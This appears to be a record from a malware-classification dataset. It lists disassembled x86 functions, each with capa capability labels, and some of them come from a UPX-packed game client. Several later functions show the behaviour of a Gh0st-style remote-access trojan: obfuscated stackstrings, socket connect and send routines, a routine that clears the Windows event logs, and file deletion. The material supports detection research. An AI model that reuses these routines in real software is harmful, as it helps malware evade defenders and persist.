joyce8/EMBER2024-capa huggingface dataset:
Function at 0x563de0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x50
mov eax, dword [0x72d150]
xor eax, esp
mov dword [esp + 0x4c], eax
mov ecx, dword [esp + 0x58]
push ebx
push ebp
push esi
test ecx, ecx
push edi
mov edi, dword [esp + 0x64]
setl bl
mov ebp, edi
lea esi, [esp + 0x1c]
mov byte [esp + 0x10], 0x30
mov byte [esp + 0x11], 0x31
mov byte [esp + 0x12], 0x32
mov byte [esp + 0x13], 0x33
mov byte [esp + 0x14], 0x34
mov byte [esp + 0x15], 0x35
mov byte [esp + 0x16], 0x36
mov byte [esp + 0x17], 0x37
mov byte [esp + 0x18], 0x38
mov byte [esp + 0x19], 0x39
test ecx, ecx
jne 0x563e42
mov byte [edi], 0x30
mov eax, edi
jmp 0x563ea3
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*4]
add eax, eax
mov edx, eax
mov eax, ecx
sub eax, edx
mov dl, byte [esp + eax + 0x10]
sub ecx, eax
mov byte [esi], dl
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
je 0x563e7e
inc esi
jmp 0x563e42
test bl, bl
je 0x563e86
mov byte [edi], 0x2d
inc edi
mov cl, byte [esi]
lea edx, [esp + 0x1c]
mov byte [edi], cl
cmp esi, edx
je 0x563ea1
mov al, byte [esi - 1]
dec esi
inc edi
lea ecx, [esp + 0x1c]
mov byte [edi], al
cmp esi, ecx
jne 0x563e92
mov eax, ebp
mov ecx, dword [esp + 0x5c]
mov byte [edi + 1], 0
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.005cd251
add esp, 0x50
ret
Function at 0x568ef0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x62fffb
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
mov eax, dword [0x72d150]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x10], esi
xor ebx, ebx
mov dword [esi], 0x3fffffff
or eax, 0xffffffff
mov dword [esi + 4], eax
mov byte [esi + 8], bl
mov dword [esi + 0xc], ebx
mov dword [esi + 0x28], 0xf
mov dword [esi + 0x24], ebx
mov byte [esi + 0x14], bl
fld1
fstp dword [esi + 0x34]
mov dword [esi + 0x2c], eax
fldz
mov al, 1
fst dword [esi + 0x40]
mov byte [esi + 0x30], al
fst dword [esi + 0x44]
mov byte [esi + 0x31], al
fst dword [esi + 0x4c]
mov byte [esi + 0x38], bl
fstp dword [esi + 0x54]
mov byte [esi + 0x39], bl
mov dword [esi + 0x3c], ebx
mov byte [esi + 0x48], bl
mov dword [esi + 0x50], ebx
mov byte [esi + 0x58], bl
xor eax, eax
mov dword [esi + 0x74], 7
mov dword [esi + 0x70], ebx
mov dword [esp + 0x1c], ebx
mov word [esi + 0x60], ax
xor ecx, ecx
mov dword [esi + 0x90], 7
mov dword [esi + 0x8c], ebx
mov word [esi + 0x7c], cx
lea ecx, [esi + 0x94]
mov byte [esp + 0x1c], 2
call fcn.004e2640
lea ecx, [esi + 0xb8]
mov byte [esp + 0x1c], 3
mov dword [esi + 0xb0], ebx
mov dword [esi + 0xb4], ebx
call fcn.004e2640
lea ecx, [esi + 0xd0]
mov byte [esp + 0x1c], 4
call fcn.004e2640
fld dword [0x6b0154]
fst dword [esi + 0xf4]
lea edx, [esp + 0xf]
fst dword [esi + 0x108]
push edx
fstp dword [esi + 0x10c]
lea eax, [esp + 0x13]
fld dword [0x6b0150]
push eax
lea ecx, [esi + 0x114]
fstp dword [esi + 0x110]
mov byte [esp + 0x24], 5
mov dword [esi + 0xe8], ebx
mov dword [esi + 0xec], 0x400
mov dword [esi + 0xf0], 0x100000
mov dword [esi + 0xf8], ebx
mov dword [esi + 0xfc], ebx
mov byte [esi + 0x100], bl
mov byte [esi + 0x101], bl
mov byte [esi + 0x102], bl
mov byte [esi + 0x103], bl
mov byte [esi + 0x104], bl
mov byte [esi + 0x105], bl
mov byte [esi + 0x106], bl
call fcn.005afcd0
fldz
fstp dword [esi + 0x134]
mov byte [esi + 0x138], bl
mov dword [esi + 0x154], 7
mov dword [esi + 0x150], ebx
xor ecx, ecx
mov word [esi + 0x140], cx
mov byte [esi + 0x158], bl
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x14
ret
Function at 0x573bb0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x631aae
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
mov eax, dword [0x72d150]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
xor ebx, ebx
mov dword [esi + 4], ebx
lea ecx, [esi + 8]
mov dword [esp + 0x18], ebx
mov dword [esi], vtable.CPnzNetRmiTypes::CGmGamePlayer.0
call fcn.00570d10
lea ecx, [esi + 0x18]
call fcn.00570da0
lea ecx, [esi + 0x28]
call fcn.00570e30
xor eax, eax
mov dword [esi + 0x44], 7
mov dword [esi + 0x40], ebx
mov word [esi + 0x30], ax
lea ecx, [esi + 0x48]
mov byte [esp + 0x18], 1
call fcn.00570ec0
lea ecx, [esi + 0x58]
call fcn.00570f50
lea ecx, [esi + 0x60]
call fcn.00570fe0
lea ecx, [esi + 0x68]
call fcn.00571070
mov dword [esi + 0x84], 0xf
mov dword [esi + 0x80], ebx
mov byte [esi + 0x70], bl
lea ecx, [esi + 0x88]
mov byte [esp + 0x18], 2
call fcn.00571100
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x10
ret

Function at 0x57c550
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x60ade8
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x72d150]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
xor edx, edx
mov dword [esi + 4], edx
mov edi, dword [esp + 0x20]
mov dword [esi], vtable.CPnzRpcArgs::CJsAppValue.0
mov eax, dword [edi + 0x10]
mov dword [esi + 0x10], eax
mov ecx, dword [edi + 0x14]
mov dword [esi + 0x14], ecx
mov eax, dword [edi + 0x20]
mov dword [esi + 0x20], eax
mov ecx, dword [edi + 0x24]
mov dword [esi + 0x24], ecx
mov eax, dword [edi + 0x30]
mov dword [esi + 0x30], eax
mov ecx, dword [edi + 0x34]
mov dword [esi + 0x34], ecx
push 0xffffffffffffffff
lea ecx, [esi + 0x3c]
lea eax, [edi + 0x3c]
push edx
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], edx
push eax
mov dword [esp + 0x24], edx
mov byte [ecx + 4], dl
call fcn.004021a0
mov edx, dword [edi + 0x5c]
mov dword [esi + 0x5c], edx
mov al, byte [edi + 0x61]
mov byte [esi + 0x61], al
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret 4

Function at 0x5881b0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x635f13
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
mov eax, dword [0x72d150]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
xor ebx, ebx
mov dword [esi + 4], ebx
lea ecx, [esi + 8]
mov dword [esp + 0x18], ebx
mov dword [esi], vtable.CPnzRpcArgs::CSvPlayerEobExperience.0
call fcn.00580b70
lea ecx, [esi + 0x18]
call fcn.00580c00
lea ecx, [esi + 0x28]
call fcn.00580c90
mov dword [esi + 0x44], 0xf
mov dword [esi + 0x40], ebx
mov byte [esi + 0x30], bl
lea ecx, [esi + 0x48]
mov byte [esp + 0x18], 1
call fcn.00580d20
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x10
ret
Function at 0x5c7fa9
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x72d150]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x234], eax
mov esi, ecx
lea eax, [ebp - 0xc]
jne 0x5c8041
push 0x6bb504
push 4
push eax
call fcn.005cdaa8
push eax
call fcn.005be743
add esp, 0x10
push ebx
push edi
call fcn.005d5ab0
mov edi, dword [eax]
call fcn.005d5ab0
xor ebx, ebx
mov dword [eax], ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.005ceb09
add esp, 0x18
mov dword [ebp - 0x234], eax
call fcn.005d5ab0
cmp dword [eax], ebx
je 0x5c8058
call fcn.005d5ab0
push dword [eax]
call fcn.005be76f
pop ecx
jmp 0x5c805f
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x5c7fec
jmp 0x5c80e6
call fcn.005d5ab0
mov dword [eax], edi
cmp dword [ebp - 0x234], 0xffffffff
je 0x5c80e2
cmp dword [ebp - 0x234], esi
jae 0x5c80e2
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push 0x3c
mov esi, eax
lea eax, [ebp - 0x270]
push ebx
push eax
mov dword [ebp - 0x274], 0x40
call fcn.005cddf0
add esp, 0xc
push 0x6baff0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, ebx
je 0x5c80d1
push str.FindActCtxSectionStringW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x5c80d1
lea ecx, [ebp - 0x274]
push ecx
push esi
push 2
push ebx
push ebx
call eax
test eax, eax
je 0x5c80d1
push ebx
push ebx
push esi
jmp 0x5c80da
push ebx
push ebx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x5c80e4
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.005cd251
leave
ret

Function at 0x5cd251
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x72d150]
jne 0x5cd25b
repz ret
jmp fcn.005d87ec
Function at 0x6f0000
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x267000]
push edi
or ebp, 0xffffffff
jmp 0x6f0022
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6f0029
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6f0018
mov eax, 1
add ebx, ebx
jne 0x6f003b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6f004c
jne 0x6f006b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6f006b
dec eax
add ebx, ebx
jne 0x6f0058
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6f0030
add ebx, ebx
jne 0x6f0067
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6f00bd
xor ecx, ecx
sub eax, 3
jb 0x6f0083
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6f00f2
sar eax, 1
mov ebp, eax
jmp 0x6f008e
add ebx, ebx
jne 0x6f008e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6f005c
inc ecx
add ebx, ebx
jne 0x6f009c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6f005c
add ebx, ebx
jne 0x6f00a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6f009e
jne 0x6f00ba
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6f009e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6f00dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6f00ce
jmp 0x6f001e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6f00dc
add edi, ecx
jmp 0x6f001e
pop esi
mov edi, esi
mov ecx, 0x4c1b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6f00fa
cmp byte [edi], 0x1e
jne 0x6f00fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6f00ff
lea edi, [esi + 0x2e8000]
mov eax, dword [edi]
or eax, eax
je 0x6f0177
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x30cff8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x30d11c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6f012c
mov ecx, edi
jns 0x6f015b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x30d124]
or eax, eax
je 0x6f0171
mov dword [ebx], eax
add ebx, 4
jmp 0x6f0149
call dword [esi + 0x30d120]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x6f01a8
cmp al, 0xef
ja 0x6f019b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x6f017d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x6f018a
mov ebp, dword [esi + 0x30d128]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6f01dc
sub esp, 0xffffff80
jmp 0x49b0e4
Function at 0x10001450
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x1000c048
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10001000
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], 0
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10001000
mov al, 0x6c
mov cl, 0x6e
mov byte [esp + 0x2d], al
mov byte [esp + 0x32], al
mov byte [esp + 0x33], al
mov al, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x22], al
mov byte [esp + 0x2b], cl
mov byte [esp + 0x21], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov bl, 0x65
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x1000d240
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], dl
mov byte [esp + 0x34], bl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x28], bl
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push 0
push 0
push 1
push 0
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x45
mov byte [esp + 0x11], 0x79
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], 0x73
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x32
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret
Function at 0x10001700
Capabilities:
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.10001c20
mov edi, dword [sym.imp.MSVCRT.dll_puts]
push 0x1000f04c
call edi
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x1000f04c
mov byte [esi + 0xb5], 0
call edi
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov dword [esi + 0xa8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esi + 0xa8], 0xffffffff
jne 0x1000176b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
mov ecx, dword [esp + 0x38]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov ebx, eax
call ebp
add esp, 4
test ebx, ebx
jne 0x1000179c
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 0x1000f04c
mov word [esp + 0x24], 2
call edi
mov edx, dword [esp + 0x3c]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [esp + 0x26], ax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [esp + 0x24], edx
call edi
push str.connect
push str.WS2_32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x20]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x10001810
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
call edi
push 0x30
mov byte [esp + 0x17], 1
call ebp
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 0x13]
push 1
push eax
push 8
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001889
push 0x30
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0xea60
mov dword [esp + 0x20], 0x1388
call ebp
add esp, 4
mov ecx, dword [esi + 0xa8]
lea edx, [esp + 0x13]
lea eax, [esp + 0x14]
push 0
push 0
push edx
push 0
push 0
push 0xc
push eax
push 0x98000004
push ecx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x30
call ebp
add esp, 4
push 1
push 0
push 0
push esi
push 0x100018c0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.100040a0
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x10001c20
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
mov esi, ecx
push 0x30
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret

Function at 0x10001e50
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x20]
push edi
mov edi, ebx
cmp ebx, esi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], edi
jb 0x10001ef1
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x24], 0
push 0x1000f04c
call dword [sym.imp.MSVCRT.dll_puts]
mov eax, dword [esp + 0x18]
add esp, 4
mov ecx, dword [eax + 0xa8]
push 0
push esi
push ebp
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0
mov edi, eax
call ebx
test edi, edi
jg 0x10001ec2
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0xf
mov dword [esp + 0x24], eax
jl 0x10001e87
cmp dword [esp + 0x24], 0xf
je 0x10001f27
mov edx, dword [esp + 0x1c]
push 0
add edx, edi
add ebp, esi
mov dword [esp + 0x20], edx
call ebx
push 0xa
call ebx
mov eax, dword [esp + 0x10]
sub eax, esi
cmp eax, esi
mov dword [esp + 0x10], eax
jae 0x10001e7f
mov ebx, dword [esp + 0x20]
mov edi, eax
test edi, edi
jle 0x10001f1f
xor esi, esi
mov edx, dword [esp + 0x14]
push 0
push edi
push ebp
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10001f16
inc esi
cmp esi, 0xf
jl 0x10001ef7
cmp esi, 0xf
je 0x10001f27
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x10001f2a
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 0xc

Function at 0x10001f50
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x10001f63
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10001f91
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret
Function at 0x100020b0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x94]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002158
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push 0
push 0x1000f0bc
push eax
mov dword [esp + 0x24], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x14]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
jne 0x100021a0
lea eax, [esp + 0x14]
push str.2003
push eax
call esi
add esp, 8
test eax, eax
jne 0x100021a0
lea ecx, [esp + 0x14]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
jne 0x100021a0
pop edi
pop esi
add esp, 0x190
ret
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret
Function at 0x10003450
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10003472
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.10004270
add esp, 8
test al, al
jne 0x10003486
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x10003560
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x100035b0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10003597
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x10003a80
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x104
push edx
call eax
lea eax, [esp + 0x24]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x128
ret